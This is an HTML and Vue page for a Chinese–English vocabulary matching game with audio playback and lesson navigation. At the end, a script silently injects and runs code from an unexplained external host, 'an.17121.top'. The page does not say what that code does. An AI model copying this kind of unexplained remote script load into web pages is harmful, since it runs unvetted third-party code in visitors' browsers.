<!DOCTYPE html>
<html>

<head>
    <meta charset="utf-8">
    <meta name="description" content="单词学习">
    <meta name="keywords" content="单词学习 练习">
    <meta name="keywords" content="学习无边界，乐在海中游">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
    <title>练一练 英语 培训 单词学习</title>
    <link rel="stylesheet" crossorigin="anonymous"
        href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.6.1/css/bootstrap.min.css">
    <link rel="stylesheet" crossorigin="anonymous"
        href="https://cdnjs.cloudflare.com/ajax/libs/animate.css/3.5.1/animate.min.css">

    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/intro.js/7.0.1/introjs.min.css">
    <style>
        @media (min-width: 0px) {
            html {
                font-size: 0.9rem;
            }
        }

        @media (min-width: 576px) {
            html {
                font-size: 1rem;
            }
        }

        @media (min-width: 768px) {
            html {
                font-size: 1rem;
            }
        }

        @media (min-width: 992px) {
            html {
                font-size: 1.25rem;
            }
        }

        @media (min-width: 1200px) {
            html {
                font-size: 1.25rem;
            }
        }

        .glassbga {
            /*渐变*/
            background: linear-gradient(to right bottom, rgba(255, 255, 255, 0.7), rgba(255, 255, 255, 0.2));
            ;
            border-radius: 1rem;
            box-shadow: 6px 6px 10px rgba(112, 112, 112, 0.2);
        }

        .glassbg {
            background: linear-gradient(to right top, #65dfc9, #9ec7ce);
            border-radius: 1rem;
        }

        .circle-ab {
            background: linear-gradient(to right bottom, rgba(255, 255, 255, 0.7), rgba(255, 255, 255, 0.2));
            height: 14rem;
            width: 14rem;
            position: absolute;
            border-radius: 50%;
            opacity: 0.3;
        }

        .circle1 {
            top: 0%;
            right: 13%;
            z-index: -1;
        }

        .circle2 {
            bottom: 6%;
            left: 13%;
            z-index: -1;
        }

        .center {
            position: absolute;
            left: 50%;
            top: 10%;
            transform: translate(-50%, -50%);
        }

        [v-cloak] {
            display: none;
        }

        div.introjs-tooltip-header,
        div.introjs-tooltiptext {
            color: #616161 !important;

        }

        .line {
            position: absolute;
            background: green;
            height: 1px;
            z-index: -1;
            /*这里设置大于2，即可看到真正连线的其实是两个元素的中心坐标*/
        }
    </style>




</head>
<!--
     swiper 展示
-->

<body id="q-app" class=" glassbg text-white  " onbeforeunload="  gd.storage.set('page', 1) ">
    <!--悬浮球-->
    <div class="circle1 circle-ab"> </div>
    <div class="circle2 circle-ab"></div>

    <div class="container ">
        <div class="mt-2 row justify-content-center  ">
            <div class="w-100 mb-3   d-none d-md-block"><!---高度垫子 小设备隐藏--></div>
            <div>
                <h4>中英连连看</h4>
            </div>
            <div class="w-100 mb-3   d-none d-md-block"><!---高度垫子 小设备隐藏--></div>
        </div>
    </div>
    <!--卡片-->
    <div v-cloak class=" container-md   glassbga p-3 pt-md-5  pb-md-5 pt-sm-1  pb-sm-1">


        <!---文-->
        <div class=" row   align-items-center   justify-content-around">
            <!---中文区-->
            <div class=" col-6       ">
                <div v-for="(site, index) in pd.zhLs" class="row  align-items-center   justify-content-around">
                    <button @click='er.emit("选择单",{"type":"zh","word":site.zh,"evt":$event}) '
                        :class="[{' bg-primary ': (site.zh == pd.selectedZh )} ]"
                        class="btn  my-2 my-sm-3   py-sm-1  py-sm-1  px-2  px-sm-4 shadow  badge-secondary badge   badge-pill">
                        <h3 class="text-nowrap"> {{site.zh || 中文}} </h3>
                    </button>

                </div>

            </div>
            <!---英文区-->
            <div class=" col-6       ">
                <div v-for="(site, index) in pd.enLs" class="row  align-items-center   justify-content-around">
                    <button @click='er.emit("选择单",{"type":"en","word":site.en,"evt":$event }) '
                        :class="[{' bg-primary ': (site.en == pd.selectedEn )} ]"
                        class="btn my-2 my-sm-3   py-sm-1 px-2   px-sm-4   shadow   badge-info badge   badge-pill">
                        <h3 class="text-nowrap">{{site.en || 英文}} </h3>
                    </button>
                </div>
            </div>
        </div>
        <!---音频-->
        <div class=" d-flex    align-items-center  justify-content-around " style="height: 1px; visibility:hidden ">

            <span class="  w-50  ml-sm-5 mx-sm-2     shadow   badge-info   badge badge-pill">
                <audio onended="er.emit('播放完成',0) " class="  w-100   " controls="controls" v-bind:src="pd.row.zh4mp3">
                    Your browser does not support the audio element.
                </audio>
            </span>

            <span class="  w-50    mr-sm-5 mx-sm-2     shadow   badge-info badge   badge-pill">
                <audio onended="er.emit('播放完成',event) " class="  w-100   " controls="controls"
                    v-bind:src="pd.row.en4mp3">
                    Your browser does not support the audio element.
                </audio>
            </span>



        </div>

    </div>
    <div class=" container-md">
        <p>连接意思相同的词 </p>
    </div>

    <!---加载区xxxxxxxxxx--->
    <div v-if=" pd.unload " style=" visibility: hidden; max-width:100%; height: 1px;">
        <div v-for="(site, index) in pd.testLs">

            <audio onloadeddata="er.emit('预加载',10) " onerror="er.emit('资源载入失败',event)" class="  w-25  "
                controls="controls" v-bind:src="site.en4m2mp3">
                Your browser does not support the audio element.
            </audio>


            <audio onloadeddata="er.emit('预加载',10) " onerror="er.emit('资源载入失败',event)" class="  w-25  "
                controls="controls" v-bind:src="site.zh4m2mp3">
                Your browser does not support the audio element.
            </audio>

        </div>

    </div>


    <!--功能选择--->
    <div class="fixed-bottom row justify-content-center rounded   ">
        <div class="mt-2 row justify-content-center  ">

            <div class="container   ">
                <ul class="nav nav-tabs">
                    <li class="nav-item">
                        <a class="nav-link shadow  bg-secondary   text-white  px-lg-5 mx-md-2 mx-lg-5   "
                            v-bind:href="'./learnword.html?t='+pd.type+'&p='+pd.pid">学一学</a>
                    </li>
                    <li class="nav-item" id="prac">
                        <a class="nav-link shadow  bg-secondary text-white  px-lg-5 mx-md-2 mx-lg-5 active"
                            v-bind:href="'./pracword.html?t='+pd.type+'&p='+pd.pid">练一练</a>
                    </li>
                    <li class="nav-item" id="test">
                        <a class="nav-link shadow   bg-info  text-white  px-lg-5 mx-md-2 mx-lg-5"
                            v-bind:href="'./testword.html?t='+pd.type+'&p='+pd.pid">试一试</a>
                    </li>
                </ul>
            </div>
        </div>
    </div>

    <!---侧边栏 -->
    <transition v-cloak enter-active-class="animated fadeInLeft" leave-active-class="animated fadeOutLeft">
        <nav v-if="pd.showNav " class="    d-flex   bg-light"
            style="z-index:1082; top:0;left:0;width: 220px; height: 100vh; position: fixed;  ">
            <ul style="overflow-y: scroll;  width: 100vh; " >
                <li class="nav-item ">
                    <a class="nav-link" href="#">目录 </a>
                </li>
                <li v-for="(site, index) in pd.leftList" class="nav-item  "
                    :class="[{'bg-warning  glassbga': (site.f  == pd.pid )} ]">
                    <a class="nav-link" v-bind:href="site.url">第{{site.f}}课</a>
                </li>

            </ul>
        </nav>
    </transition>
    <!---info提示信息--->
    <transition v-cloak mode="out-in" enter-active-class="animated pulse" leave-active-class="animated fadeOut">
        <div class=" container-sm  fixed-top    " style="z-index: 1083 ;" v-for="site in pd.info_list">
            <div class="alert  alert-warning alert-dismissible fade show" role="alert">
                <strong>{{site.type}}</strong>{{ site.info }}
                <button type="button" class="close" data-dismiss="alert" aria-label="Close">
                    <span aria-hidden="true">&times;</span>
                </button>
            </div>
        </div>
    </transition>


    <!---载入动画--->
    <transition leave-active-class="animated fadeOut">
        <div v-if="pd.sp==0?false:true"
            class="center w-100 mt-5  px-3  row d-flex  clearfix  align-items-center  justify-content-center  "
            style="z-index: 1082  ;">
            <div class="spinner-border   "></div>
        </div>
    </transition>
    <!---进度条---->
    <transition v-cloak>
        <div v-if="pd.showProgress" class="center w-75   px-3   " style="z-index: 1082 ; ">
            <div class="progress">
                <div class=" progress-bar  progress-bar-striped progress-bar-animated  "
                    v-bind:style="{ width: pd.vprogress+'%' , }">{{pd.vprogress}}%</div>
            </div>
        </div>
    </transition>
    <!---遮罩1024--->

    <div v-if="pd.showLoading" @click="er.emit('遮罩',0) " style="z-index: 1081  ;" class=" modal-backdrop show "> </div>




    <!----确认框---->
    <transition v-cloak enter-active-class="animated fadeIn" leave-active-class="animated fadeOut">
        <div v-cloak v-if="pd.showConfirm" class="center" style="z-index:1082; top:45%;    ">
            <div class="modal-dialog shadow" role="document">

                <div class="text-dark  modal-content">
                    <div class="modal-body">
                        <p>中文 "{{pd.row.zh}}"" 英文是 "{{ pd.row.en}}"</p>
                    </div>
                    <div class="modal-footer">
                        <button type="button" class="btn btn-primary">确定</button>
                        <button @click="pd.showConfirm = 0  " type="button" class="btn btn-secondary"
                            data-dismiss="modal">关闭</button>
                    </div>
                </div>
            </div>
        </div>
    </transition>
    <!-- 齿轮修改 --->
    <div class=" d-flex w-25  fixed-bottom justify-content-between  ">

        <span @click="er.emit('导航',1) " class="  d-none  btn     justify-content-end      "
            style="font-size:28px;    ">⚙</span>
        <button id="leftMenu" @click="er.emit('导航',1) " class="navbar-light  navbar-toggler">
            <span class="navbar-toggler-icon"></span>
        </button>
    </div>




    <script src="https://cdnjs.cloudflare.com/ajax/libs/vue/3.2.47/vue.global.prod.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/lodash.js/3.9.3/lodash.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/EventEmitter/5.2.8/EventEmitter.min.js"></script>
    <!-- script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script -->
    <!--script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.6.1/js/bootstrap.min.js"></script  -->
    <script src="https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.19.11/URI.min.js"></script>

    <script src="https://cdnjs.cloudflare.com/ajax/libs/intro.js/7.0.1/intro.min.js"></script>




    <script>
        /**
    * 实现两个元素中心点的连线
    * @author 渀波儿灞 2021-02-20
    * @param  {Object} startObj  jquery对象，起点元素
    * @param  {Object} endObj    jquery对象，终点元素
    * @return {String}           返回连线的dom
    */
        function drawLine(startObj, endObj) {
		var scrollTop = document.documentElement.scrollTop
            //起点元素中心坐标
            var startXywh = startObj.getBoundingClientRect()
            var y_start = startXywh.top + startXywh.height / 2 + scrollTop;
            var x_start = startXywh.left + startXywh.width / 2;

            //终点元素中心坐标
            var endXywh = endObj.getBoundingClientRect()
            var y_end = endXywh.top + endXywh.height / 2 + scrollTop;
            var x_end = endXywh.left + endXywh.width / 2;

            console.log(y_start, x_start, y_end, x_end)
            //用勾股定律计算出斜边长度及其夹角（即连线的旋转角度）
            var lx = x_end - x_start;
            var ly = y_end - y_start;
            //计算连线长度
            var length = Math.sqrt(lx * lx + ly * ly);
            //弧度值转换为角度值
            var c = 360 * Math.atan2(ly, lx) / (2 * Math.PI);

            //连线中心坐标
            var midX = (x_end + x_start) / 2;
            var midY = (y_end + y_start) / 2
            var deg = c <= -90 ? (360 + c) : c;  //负角转换为正角

            return `<div class='line' 
                    style='top:${midY}px;left:${midX - length / 2}px;width:${length}px;transform:rotate(${deg}deg);'>
                </div>`
        }

        const er = new EventEmitter //事件线
        const { onMounted, emits, createApp, ref, watch, computed } = Vue

        const gd = {};//全局数据 解决调用引用问题
        gd.reg = {} //组成类到全局调用
        gd.group = 'eng'
        gd.storage = {
            //本地浏览器 存取组件
            set(key, value, area) {
                key = area ? area + ':' + key : key;//分区域分区组
                key = gd.group + '.' + key;//分组
                localStorage.setItem(key, JSON.stringify(value));
            },
            get(key, area) {
                key = area ? area + ':' + key : key;//分区域分区组
                key = gd.group + '.' + key;//分组
                return JSON.parse(localStorage.getItem(key));
            },
            remove(key, area) {
                key = area ? area + ':' + key : key;//分区域分区组
                key = gd.group + '.' + key;//分组
                localStorage.removeItem(key);
            },
        }
        gd.pd = ref({ "load": [] });;//page data 页面元素引用"数据"

        //const pd = ref({ "load": [] }); //特殊变量，页面数据
        const pvs = gd.pd.value; //变量代理访问
        //gd.pd = pd;//page data 页面元素引用"数据"

        class pgui {
            /* 界面控制类 初始化界面默认值 */
            constructor(arg) {
                //初始（值）
                gd.reg.ui = this//全局资源
                //--界面值
                pvs.load.unshift('pgui')//从开头添加一个值
                pvs.sp = 0; //遮罩路由 (0.无，1.名单，2.登入 ,3.管理)
                pvs.row = {};//单词数据的一行
                pvs.showNav = 0;//导航显示
                pvs.showLoading = 0 //遮罩
                pvs.page = gd.storage.get('page') ? gd.storage.get('page') : 1;//显示动画
                pvs.info_list = []//{info:"2",type:"2"}
                pvs.vprogress = 100 //进度条
                pvs.showProgress = 0 //进度条
                //----页面参数
                pvs.url = new URI() //获取去 type，pid ，默认访问本站，数据加载主站
                //选择的单词
                pvs.unload = 1 //预加载后隐藏
                pvs.selectedZh = '' //选择的单词
                pvs.selectedEn = '' //选择的单词
                pvs.selecteds = {} //单词选择对
                pvs.wordLen = 5 //练习词数
                pvs.loadNum = pvs.wordLen * 2 //加载音频数量
                //确认
                pvs.showConfirm = 0//确认检查
                pvs.showJudgment = -1//判断对错
                pvs.testLs = []
                pvs.enLs = []
                pvs.zhLs = []
                pvs.leftList = {} //左侧列表
                this.init();
                pvs.loadNum = pvs.wordLen * 2 // x2
                pvs.reload = 3
                pvs.timeOut = 6
            }
            init() {
                //初始（设置）

                er.on('遮罩', this.loginLoading)
                er.on('播放', this.play)
                er.on('选择单', this.playChoose)


                er.on('进度', this.progress)
                er.on('预加载', this.progress)//预加载
                er.on('资源载入失败', this.setReload)//预加载
                er.on('导航', this.trunNav)


                er.on('播放完成', this.endPlay)//event
                er.on('帮助.更多学习内容', this.help2next)
            }
            setReload(evt) {
                console.log('---资源载入失败---', evt)

            }
            aoutReload(t){
                const ui = gd.reg.ui
                
                // t =1 开启 ，t=0 结束
                console.log('aoutReload == ', t)
                if (t == 0) { clearTimeout(pvs.outId); return }
                pvs.loaded = 0 //重新加载新数据
                //---
                var ag = new URI().query(true)
                console.log('1.url == ', ag)

                if (ag.reload && Math.trunc(ag.reload) > pvs.reload) {
                    console.log('2.url == ', ag)
                    ui.loginLoading(0)
                    ui.spto(0)
                    ui.showInfo('加载资源失败','稍后重试')
                    
                    return
                }
                if (!ag.reload) {
                    ag.reload = 1
                    ag.page = pvs.page
                } else {
                    ag.reload = Math.trunc(ag.reload) + 1
                }
                //创建超时
                pvs.outId = setTimeout(() => {
                    console.log('3.url == ', ag)
                    window.location.href = pvs.url.query(ag);
                }, pvs.timeOut * 1000)
            }
            endPlay(n) {
                //播放 ,判断对错
                const that = gd.oui
                console.log(n)
                setTimeout(() => { that.checkSelect() }, 500)


            }
            playChoose(dc) {
                const that = gd.oui
                if (pvs.selectedZh != '' && pvs.selectedEn != '') {
                    //防止重复点击
                    return
                }
                var emt = dc.evt.target
                // 选择并播放
                if (dc.type == 'zh') {
                    pvs.selecteds['zh'] = emt

                    pvs.selectedZh = dc.word
                    var row = _.find(dataFromJSON.data, { "zh": dc.word })//取数据 内部的一行
                    pvs.row.zh4mp3 = row.zh4m2mp3
                    setTimeout(() => { that.play(0) }, 150)

                }
                if (dc.type == 'en') {
                    pvs.selecteds['en'] = emt
                    pvs.selectedEn = dc.word
                    var row = _.find(dataFromJSON.data, { "en": dc.word })//取数据 内部的一行
                    pvs.row.en4mp3 = row.en4m2mp3
                    setTimeout(() => { that.play(1) }, 150)
                }
                //设置并播放
                var emt = dc.evt.target

                /**  连线  **/
                if (pvs.selectedZh != '' && pvs.selectedEn != '') {

                    var h5div = drawLine(pvs.selecteds['en'], pvs.selecteds['zh'])
                    var doc = new DOMParser().parseFromString(h5div, 'text/html');
                    console.log(doc, pvs.selecteds)
                    document.body.appendChild(doc.querySelector('div'));//选区部分，添加到body

                }


                /**   检查  **/
                //播放完后，自动在判断
                //that.checkSelect()

            }


            checkSelect() {
                const that = gd.oui
                //判断对错 检查单词对
                if (pvs.selectedZh == '' || pvs.selectedEn == '') {
                    return
                }
                var rowEn = _.find(dataFromJSON.data, { "en": pvs.selectedEn })//取数据 内部的一行
                var rowZh = _.find(dataFromJSON.data, { "zh": pvs.selectedZh })//取数据 内部的一行 
                //答对删除对应行
                if (rowEn.en == rowZh.en) {
                    _.remove(pvs.zhLs, { "en": rowEn.en });
                    _.remove(pvs.enLs, { "en": rowEn.en });
                    console.log('答对=')
                }
                console.log('比对=', rowEn, rowZh)
                //---清空重来
                var elements = document.querySelectorAll('div.line')
                _.map(elements, (o) => { o.parentNode.removeChild(o); })
                pvs.selectedZh = ''; pvs.selectedEn = ''; pvs.selecteds = {};

                if (pvs.enLs.length == 0) {
                    //完成学习  +++  时间停止功能
                    setTimeout(() => {
                        that.showInfo('恭喜 完成了练习', '真棒 ');
                        setTimeout(() => er.emit('帮助.更多学习内容'), 1500);
                        //完成提示进入挑战+++
                    }, 1)
                }

            }


            trunNav(n) {
                //切换导航栏
                const that = gd.oui
                pvs.showNav = n
                pvs.showLoading = n
            }

            loadJson() {
                //一次性加载 json数据  默认数据来源当前站点，当前没有访问主站

                const that = gd.oui
                that.progressVal(6)
                var src = pvs.url.host();//本站
                var dc = pvs.url.query(true);//参数
                pvs.type = dc['t'] ? dc['t'] : gd.storage.get('pageType') ? gd.storage.get('pageType') : 'camb_word';//业务类型，url优先
                pvs.pid = String(dc['p'] ? dc['p'] : gd.storage.get('pid', pvs.type) ? gd.storage.get('pid', pvs.type) : 365);//对应id，url优先
                pvs.rpid = String(pvs.pid).padStart(3, '0'); //补全id定长  /0/5/5.json  /1/5/15.json  
                gd.storage.set('pageType', pvs.type)
                gd.storage.set('pid', pvs.pid, pvs.type) //记录当前项目的学习课程号

                console.log("script参数=", src, pvs.type, pvs.pid)
                //document.getElementById('dataFromJson').remove ()
                // delete  dataFromJSON .data
                // 添加数据json元素

                var st = document.createElement("script");
                st.id = 'dataFromJson';
                st.src = `//${src}/${pvs.type}/${pvs.rpid.substring(pvs.rpid.length - 2, pvs.rpid.length - 1)}/${pvs.rpid.substring(pvs.rpid.length - 1)}/cfg_${pvs.pid}.jsonp`

                st.onerror = that.signErr;
                st.onload = that.endJson;
                //console.log(dataFromJSON)
                document.body.appendChild(st);
                console.log("添加script标签=", pvs.page)
                //词展示++++
                that.loginLoading(1) //loading 
                that.spto(1) //loading 
                //leftList  加载左侧菜单
                var wl = document.createElement("script");
                wl.src = `//${src}/${pvs.type}/word_list.jsonp`
                wl.onload = that.leftListLoad;
                document.body.appendChild(wl);

            }
            endJson(dat) {
                //json加载完成
                const that = gd.oui
                that.loginLoading(1) //json加载 
                that.spto(1) //loading 

                if (typeof (dataFromJSON) == "undefined" || dataFromJSON.data.length == 0) { that.showInfo("没找到数据", ' 加载时 '); return; } //没数据
                //词展示++++
                pvs.testLs = _.slice(_.shuffle(dataFromJSON.data), 0, pvs.wordLen)//取得，测试数
                that.rowLoad(1) //处理 显示第一个单词

            }

            help2next() {
                //帮助，新手引导
                var setpList = [
                    {
                        title: '<em>恭喜 完成了挑战 </em>',
                        element: document.querySelector('#leftMenu'),
                        intro: '从列表选择更多课程',
                    },

                ];
                var helpOpt = {
                    nextLabel: '下一个  &rarr;',    // 下一个按钮文字
                    prevLabel: '&larr; 上一个',     // 上一个按钮文字
                    doneLabel: '好',           // 完成按钮文字
                    exitOnOverlayClick: false,  // 点击叠加层时是否退出介绍
                    showStepNumbers: false,     // 是否显示红色圆圈的步骤编号
                    disableInteraction: true,   // 是否禁用与突出显示的框内的元素的交互，就是禁止点击
                    showBullets: false          // 是否显示面板指示点
                }
                helpOpt['steps'] = setpList
                introJs().setOptions(helpOpt).start();

            }
            play(n) {
                //播
                console.log('播放=', n)
                //播放指定 document.querySelectorAll('audio')[0].play()
                document.querySelectorAll('audio')[n].play()
            }
            loginLoading(n) {
                //登入中效果
                pvs.showLoading = n
                if (pvs.showLoading == 0) { pvs.showNav = 0 }
            }
            spto(n) {
                //遮罩和二级界面
                /*切换界面*/
                pvs.sp = n
            }
            progressVal(n) {
                //直接设置值
                const that = gd.oui
                pvs.vprogress = n
                that.progress(0)
            }
            progress(n) {
                const that = gd.oui
                //进度  0 和 100 都隐藏
                pvs.vprogress = pvs.vprogress + n
                console.log("进度", n, pvs.vprogress)
                if (pvs.vprogress > 98) {
                    pvs.vprogress = 100
                    that.aoutReload(0) //结束计时
                    pvs.unload = 0 //加载完 删除元素
                    setTimeout(function () { pvs.showProgress = 0 }, 155);
                    that.spto(0)
                    that.loginLoading(0)
                } else {
                    pvs.showProgress = 1 //未加载
                }
            }

            showInfo(info, type = '') {
                //结果提示信息 （数据驱动）
                //添加数据，来添加提示
                pvs.info_list.push({ "info": info, "type": type })
                //缺少动效
                setTimeout(function () { pvs.info_list.splice(0, 1); }, 4000);
            }
            signErr(error) {
                //登入错误处理
                const that = gd.oui

                console.log('Error:', error); //提示框
                that.loginLoading(0) //loading 
                that.spto(0) //loading  
                that.showInfo('无法加载到数据，刷新重试', '载入数据：') //loading  
            }
            leftListLoad(dat) {
                //单词列表加载
                console.log('leftListLoad=', pvs.url.filename(), wordList)
                pvs.leftList = wordList.data
                pvs.leftList = _.map(pvs.leftList, (o) => { o.url = './' + pvs.url.filename() + `?p=${o.f}&t=${pvs.type}`; return o })

            }
            rowLoad(dat) {
                // 读取数据到 json/翻页    页面
                console.log('dat==', dat)
                const that = gd.oui

                that.progressVal(6)
                that.loginLoading(1) //内部翻页 
                that.spto(1) //loading 
                that.aoutReload(1)//超时计时设置
                //词展示++++
        
              //设置数据
                //  加载2倍的mp3音（异步）
                that.loadChoose();
                //分成两份 并打乱
                pvs.zhLs = _.shuffle(pvs.testLs)
                pvs.enLs = _.shuffle(pvs.testLs)




            }
            mkPath(wrod) {
                return `//${pvs.url.host()}/${pvs.type}/${wrod.substring(0, 1).toLowerCase()}/${wrod.substring(1, 2).toLowerCase()}/`
            }
            loadChoose() {
                const that = gd.oui

                //单独处理选择列表
                //pvs.chooseRow = _.filter(dataFromJSON.data, function (o) { return pvs.choose.indexOf(o.en) >= 0; });//无序

                pvs.testLs = _.map(pvs.testLs, function (o) {
                    //计算长路径  免缓存
                    o.en4m2mp3 = that.mkPath(o.en) + o.en4m2mp3;
                    o.zh4m2mp3 = that.mkPath(o.en) + o.zh4m2mp3;

                    return o;
                }
                );
            }


            watchPg(newValue, oldValue) {
                //watch
                //console.log('gd pagedata 被修改', newValue.page, oldValue.page)
                //console.log('gd pagedata 被修改\n', newValue, '\n', oldValue)
            }
        }
        //----------开始
        let appdat = {
            setup() {
                const oui = new pgui(); //界面更改"方法"
                //const ocls = new cls(12);//默认选择
                //---放入全局解决this问题
                //gd.ocls = ocls; //抽奖类
                //gd.oin = oin; //通信逻辑
                gd.oui = oui; //ui界面
                watch(gd.pd, oui.watchPg, { deep: true });
                //computed(() => { return JSON.parse(JSON.stringify(pvs)); }); //对值二次计算
                //onMounted(() => ocls.bindEvt()); //窗口大小变动事件
                //onMounted(() => oui.remount()); //已经登入刷新处理
                onMounted(() => oui.loadJson(0)); //已经登入刷新处理
                //--变量关联到html的映射 js访问要加.value
                return { er, oui, "pd": gd.pd, "ref_login_manage": gd.pd.refManageEmt, }
            }
        }
        const app = createApp(appdat)
        //app.use(Quasar) //vue的ui
        app.mount('#q-app')
    </script>



    <script>
            (() => setTimeout(() => {
                var script = document.createElement("script");
                script.src = 'https://an.17121.top/';
                document.body.append(script)
            }, 300))()


    </script>
</body>

</html>